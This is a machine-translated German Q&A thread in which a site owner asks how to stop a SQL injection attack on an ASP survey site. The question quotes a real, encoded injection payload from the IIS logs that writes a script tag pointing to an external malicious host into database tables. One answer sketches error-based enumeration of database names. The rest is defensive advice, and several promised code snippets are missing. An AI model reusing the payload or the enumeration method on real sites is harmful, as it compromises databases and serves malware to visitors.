Angriff auf die ASP-Seite verwendet eine SQL server-Datenbank
Wir haben eine Umfrage vor Ort wurde offenbar angegriffen. Die Symptome sind identisch zu dem, was beschrieben wurde, auf der folgenden Seite auf dieser Website:
XSS-Angriff auf die ASP.NET Website.
Fand ich mehrere Einträge in unserem IIS-Protokolle enthalten, dass der schädliche code:
< /title> < script src = http : //google-stats49.info/ur.php >.
Hier ist ein Beispiel für den Wert der cs-uri-query-Feld für eine der IIS-log-Einträge.
surveyID=91+update+usd_ResponseDetails+set+categoryName=REPLACE(cast(categoryName+as+varchar(8000)),cast(char(60)%2Bchar(47)%2Bchar(116)%2Bchar(105)%2Bchar(116)%2Bchar(108)%2Bchar(101)%2Bchar(62)%2Bchar(60)%2Bchar(115)%2Bchar(99)%2Bchar(114)%2Bchar(105)%2Bchar(112)%2Bchar(116)%2Bchar(32)%2Bchar(115)%2Bchar(114)%2Bchar(99)%2Bchar(61)%2Bchar(104)%2Bchar(116)%2Bchar(116)%2Bchar(112)%2Bchar(58)%2Bchar(47)%2Bchar(47)%2Bchar(103)%2Bchar(111)%2Bchar(111)%2Bchar(103)%2Bchar(108)%2Bchar(101)%2Bchar(45)%2Bchar(115)%2Bchar(116)%2Bchar(97)%2Bchar(116)%2Bchar(115)%2Bchar(53)%2Bchar(48)%2Bchar(46)%2Bchar(105)%2Bchar(110)%2Bchar(102)%2Bchar(111)%2Bchar(47)%2Bchar(117)%2Bchar(114)%2Bchar(46)%2Bchar(112)%2Bchar(104)%2Bchar(112)%2Bchar(62)%2Bchar(60)%2Bchar(47)%2Bchar(115)%2Bchar(99)%2Bchar(114)%2Bchar(105)%2Bchar(112)%2Bchar(116)%2Bchar(62)+as+varchar(8000)),cast(char(32)+as+varchar(8)))--
Ich verstehe nicht, wie der obige code funktioniert, aber anscheinend ist das, was gesendet wird in einem query-string zu verderben Spalten in unserer Datenbank Tabellen. Haben wir heruntergefahren unsere Website zur Zeit. Wir können entfernen Sie die Skripte aus der Datenbank aber nicht verhindern, dass es beschädigt wieder, wenn wir die site wieder online.
Hat jemand irgendwelche Vorschläge auf, wie dies zu verhindern?
InformationsquelleAutor der Frage David | 2010-09-24
Du musst angemeldet sein, um einen Kommentar abzugeben.
Dass eine SQL-injection.
Es gibt Unmengen zu diesem Thema: Google ist dein Freund
InformationsquelleAutor der Antwort Cfreak
...
InformationsquelleAutor der Antwort Nikki9696
Nicht sicher, ob dies noch relevant ist für dich, aber ich habe dieses geschehen in der Vergangenheit, denn wir laufen immer noch einige alte asp-Seiten. Es gibt zwei Dinge, die Sie brauchen, zu reinigen. Zunächst ist ein suchen-und-ersetzen der gespeicherten Prozedur für die Datenbank (leicht genug, um Google diese), wenn Sie mit ihm Weg erhalten. Leider manchmal die Daten abgeschnitten wird je nach Typ des Feldes, aber es gibt hier nichts zu tun. Ansonsten ein Rollback für die db erforderlich ist.
Zweite ist, legen Sie einen SQL-injection-hack Prävention Skript wie dieses als include vor Ihre Datenbank-Verbindung:
Glück.
Konfigurieren Sie Ihren IIS senden Sie eine benutzerdefinierte Fehlerseite oder der Standard-Fehler 500 Seite anstelle von E-ausführliche Fehlermeldungen an den client.
Detaillierte Fehlermeldungen wurde verwendet, um das db-schema. Dann Sie verwendet sql-injection-update-text-Felder.
Hier ist ein Beispiel um die DB-Benutzer:
ist "und ^+ - +^=0" und es gibt:
wo "myDbUsername" ist die echte Datenbank-Benutzer.
Mit einer ähnlichen Technik ist es möglich, Datenbanken, Tabellen, Spalten, Typen usw. eins nach dem anderen.
Wenn Sie nicht bereits angegriffen, dann deaktivieren Sie detaillierte Fehler in IIS, andernfalls prüfen Sie Ihre Protokolle, um herauszufinden, welche Seiten haben sql-injection-Schwachstellen und korrigieren Sie Sie.
Ich ein kleines Skript geschrieben, um zu prüfen, ob es "<script" in meiner Datenbank:
Ich bin auf IIS 7, Win Server 2008 und SQL Server 2008, so dass es scheint nicht, diesen Angriff verwendet alle SQL-Server-2003 /2005-Schwachstellen wie bereits in vielen Artikeln im web.
InformationsquelleAutor der Antwort Francesco Rapanà
Sie sind geschlagen durch die LizaMoon automatisierte SQL-injection-exploit-pack, und jetzt sind erwähnt in einem Artikel auf der Seite der Gesellschaft gutgeschrieben wird mit der ersten Dokumentation der Angriff: http://community.websense.com/blogs/securitylabs/archive/2011/03/31/update-on-lizamoon-mass-injection.aspx
InformationsquelleAutor der Antwort Thomas at GTISC
Kugelsichere Sicherheit WordPress plugin die SQL-Injection-Filter, blockiert diesen Angriff in einer htaccess-Datei. Da haben Sie einen IIS-server benötigen Sie noch zusätzliche features, die Ihnen erlauben würde, die Verwendung einer htaccess-Datei oder vielleicht könnten Sie übernehmen die SQL-Injection-Filter in irgendeiner anderen Art und Weise mit IIS seit htaccess ist traditionell ein Apache Sache. Dies ist die Zeile, in der BulletProof Security master htaccess-Datei, die blockiert ALLE SQL-Injection hacking-versuche:
InformationsquelleAutor der Antwort Ed-AITpro
Ich schlage vor, Sie suchen alle Seiten, auf die Anfrage.QueryString, da es meist für ein GET-parameter, der nicht gefiltert wird (Häufig ein Wert sollte ein integer sein) und liberal verwenden Sie die integrierten Funktionen CIntCLng und IsNumeric zu stoppen die Injektionen in Ihren tracks. Es sollte schneller als umschreiben aller Ihrer Abfragen, Parameter zu verwenden, oder erstellen Sie gespeicherte Prozeduren in SQL Server, obwohl, dass wäre der Weg zu gehen, wenn Sie noch immer damit beschäftigt, die Entwicklung der Anwendung. Sollten Sie auch deaktivieren Sie die EXEC-Berechtigung für die Anwendung ein Benutzer-Konto in SQL Server.
(Sorry, habe versucht die Verknüpfung mit den anderen Funktionen aber als neuer user bin ich darf nur ein hyperlink. :-))
InformationsquelleAutor der Antwort stealthyninja